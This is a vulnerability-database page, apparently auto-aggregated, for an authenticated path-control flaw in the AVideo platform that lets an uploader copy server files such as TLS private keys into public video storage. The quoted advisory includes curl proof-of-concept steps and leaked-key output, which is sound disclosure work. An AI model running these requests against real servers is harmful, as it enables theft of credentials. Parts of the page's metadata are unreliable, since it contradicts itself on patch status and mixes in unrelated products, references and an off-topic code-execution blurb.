Skip to main content

PHP CVE-2026-33354

| EUVDEUVD-2026-14013 HIGH
External Control of File Name or Path (CWE-73)
7.6
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as uploader
  2. Delivery
    Send POST to /objects/aVideoEncoder.json.php
  3. Exploit
    Specify arbitrary filesystem path in chunkFile parameter
  4. Execution
    Bypass isValidURLOrPath() validation
  5. Impact
    Read sensitive files via copy operation

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File name/path control
Exploitation Conditions

Authenticated user with video upload privileges on aVideoEncoder endpoint. Attacker exploits POST /objects/aVideoEncoder.json.php with arbitrary chunkFile parameter to read files in /var/www/, application root, cache, tmp, or videos directories (excluding .php files). No victim interaction required.

Impact

The CVSS 3.1 score of 7.6 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L) indicates high severity with network-based attacks requiring only low privileges and no user interaction. However, the real-world risk is moderated by the authentication requirement - attackers must have valid upload credentials, limiting the threat to insider attacks or compromised accounts. The vulnerability is not listed in CISA KEV, suggesting no known active exploitation. The availability of a detailed proof-of-concept increases the likelihood of future exploitation, though the requirement for authenticated access and specific preconditions (owning a video record) reduces the attack surface compared to unauthenticated vulnerabilities.

Exploit ScenarioDerived

An attacker with a compromised low-privilege account that has upload permissions creates a dummy video through the normal upload process, then sends a malicious POST request to aVideoEncoder.json.php specifying a sensitive local file path like /etc/passwd or SSL private keys. The server copies the targeted file into the attacker's public video directory, allowing them to download it via HTTP without authentication. The included proof-of-concept script automates this entire attack chain, making exploitation trivial for attackers with valid credentials.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 10.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 19, 2026

Authenticated file read vulnerability in PHP and Docker deployments allows users to exfiltrate arbitrary files from the server by exploiting insufficient path validation in the video upload endpoint, which copies attacker-specified local files to publicly accessible storage. An authenticated attacker can leverage this to read sensitive files from broad server directories including application roots, cache, and temporary locations. No patch is currently available, and the vulnerability carries a 10% exploit prediction score.

Earlier versions of this analysis (1)
v1 Mar 19, 2026 - 20:00 CVSS 7.6

A path traversal vulnerability in AVideo version 26.0 allows authenticated users with upload permissions to read arbitrary local files from the server filesystem by exploiting the chunked upload functionality. The vulnerability affects the POST /objects/aVideoEncoder.json.php endpoint which accepts attacker-controlled file paths, enabling attackers to copy sensitive files like SSL private keys into publicly accessible video directories. A proof-of-concept exploit is publicly available, though there is no evidence of active exploitation in the wild.

RemediationAI

Update WWBN AVideo to a version newer than 26.0 that includes patches for this vulnerability - check the GitHub repository at https://github.com/WWBN/AVideo for the latest secure version. As an immediate mitigation, restrict upload permissions to trusted users only and implement strict file system permissions to prevent the web server user from accessing sensitive files outside the application directory. Monitor logs for suspicious calls to aVideoEncoder.json.php with unusual chunkFile parameters, and consider implementing additional input validation or WAF rules to block path traversal attempts.

Affected VersionsENISA

Canto * ≤3.1.1
AVideo ≤ 26.0
AVideo < 26.0

Affected Packages

composer wwbn/avideo no fix
euvd avideo fix: 26.0
euvd canto no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the WWBN AVideo platform (CPE: pkg:composer/wwbn_avideo), an open-source video streaming solution built with PHP. The root cause is improper input validation (CWE-73: External Control of File Name or Path) in the chunked upload handler, where the isValidURLOrPath() function inadequately restricts file paths, allowing access to directories like /var/www/, application root, cache, tmp, and videos folders while only blocking .php files. The affected aVideoEncoder.json.php endpoint was designed to handle staged upload chunks but fails to properly validate that the chunkFile parameter points only to legitimate temporary upload locations.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.6 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Mar 19, 2026 - 19:34 nvd
HIGH 7.6

DescriptionGitHub Advisory

Summary

POST /objects/aVideoEncoder.json.php accepts a requester-controlled chunkFile parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass isValidURLOrPath(). That helper allows files under broad server directories including /var/www/, the application root, cache, tmp, and videos, only rejecting .php files.

For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP.

I confirmed this locally by creating an attacker-owned video, then calling aVideoEncoder.json.php with videos_id=<own video>, format=mp4, and chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem. The resulting public video URL returned the local TLS private key and began with -----BEGIN PRIVATE KEY-----.

Affected Versions / Commit

Tested on local Docker deployment from commit db12d4c0141d40bfabd1e82577e8c4a3d044cd84. The application reported version 26.0.

Preconditions

  • Authenticated account with upload permission.
  • Attacker owns at least one editable video record.
  • Target local file is readable by the web application user.

Steps to Reproduce

  1. Log in as an upload-capable low-privileged user.
  2. Create any attacker-owned video via the normal upload endpoint to obtain videos_id and filename.
  3. Send a POST request to aVideoEncoder.json.php with the attacker's own videos_id, an allowed format, and a server-local chunkFile path.
  4. Download the resulting media object from /videos/<filename>/<filename>.mp4.

Proof of Concept

The included poc.py automates the exploit against the local instance.

Manual reproduction:

bash
# 1. Login as low-priv uploader
curl -s -c attacker.cookies \
  -d 'user=attacker&pass=UserPass123!' \
  http://127.0.0.1/objects/login.json.php >/dev/null
# 2. Create an attacker-owned video
printf 'x' > poc.mp4
curl -s -b attacker.cookies \
  -F 'upl=@poc.mp4;type=video/mp4' \
  http://127.0.0.1/view/mini-upload-form/upload.php
# Example response:
# {"error":false,"title":"poc","filename":"poc_69bb86db62c308.68438735","videos_id":4,...}
# 3. Copy a local file into the attacker's public video path
curl -s -b attacker.cookies \
  -d 'videos_id=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \
  http://127.0.0.1/objects/aVideoEncoder.json.php
# 4. Retrieve the copied file over HTTP
curl -s \
  http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head

Observed Result

The final GET returned the contents of the local TLS private key:

text
-----BEGIN PRIVATE KEY-----
MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...

Executive ViewAI

Why It Matters

An authenticated user with video upload privileges can read arbitrary files from the server and download them publicly, including sensitive credentials like TLS private keys. This vulnerability exposes confidential infrastructure data and could enable attackers to compromise the entire hosting environment or steal customer data.

Business Impact: Severe
Compensating Controls

Immediately restrict POST access to /objects/aVideoEncoder.json.php via WAF or reverse proxy; whitelist only authenticated uploaders with specific video ownership; validate chunkFile parameter to reject paths containing ../, /var/, /tmp/, and absolute paths; implement file read auditing on sensitive directories; segregate video processing to a restricted service account with minimal filesystem permissions; require re-authentication and rate limiting on this endpoint.

Threat Intelligence Overview

EPSS Score
10.0%
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 10.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

48
Low Medium High Critical
KEV: 0
EPSS: +10
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

References

Advisories & patches
PATCH https://github.com/WWBN/AVideo/commit/206d38e97b8c854771bb2907b13f9f36e8bcf874 PATCH https://github.com/WWBN/AVideo/commit/d0c54960389eeb85e76caed5a257ae90e6a739f2 PATCH https://github.com/charmbracelet/soft-serve/commit/c147421caf234bcfc1570c79d728ecbbe5813e55 PATCH https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.6 ADVISORY https://github.com/WWBN/AVideo/security/advisories/GHSA-4jw9-5hrc-m4j6 ADVISORY https://github.com/WWBN/AVideo/security/advisories/GHSA-5f7v-4f6g-74rj ADVISORY https://github.com/WWBN/AVideo/security/advisories/GHSA-mcj5-6qr4-95fj ADVISORY https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-xgxp-f695-6vrp ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-3335 ADVISORY https://plugins.trac.wordpress.org/browser/canto/tags/3.1.1/includes/lib/copy-media.php#L152 ADVISORY https://plugins.trac.wordpress.org/browser/canto/tags/3.1.1/includes/lib/copy-media.php#L306 ADVISORY https://plugins.trac.wordpress.org/browser/canto/tags/3.1.1/includes/lib/copy-media.php#L71 ADVISORY https://plugins.trac.wordpress.org/browser/canto/trunk/includes/lib/copy-media.php#L152 ADVISORY https://plugins.trac.wordpress.org/browser/canto/trunk/includes/lib/copy-media.php#L306 ADVISORY https://plugins.trac.wordpress.org/browser/canto/trunk/includes/lib/copy-media.php#L71 ADVISORY https://vuldb.com/?id.352527 ADVISORY https://www.wordfence.com/threat-intel/vulnerabilities/id/0777f759-6980-4572-a866-0210bd5f5085?source=cve REF https://github.com/WWBN/AVideo/commit/59bbd601a3f65a5b18c1d9e4eb11471c0a59214f REF https://github.com/advisories/GHSA-4jw9-5hrc-m4j6

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy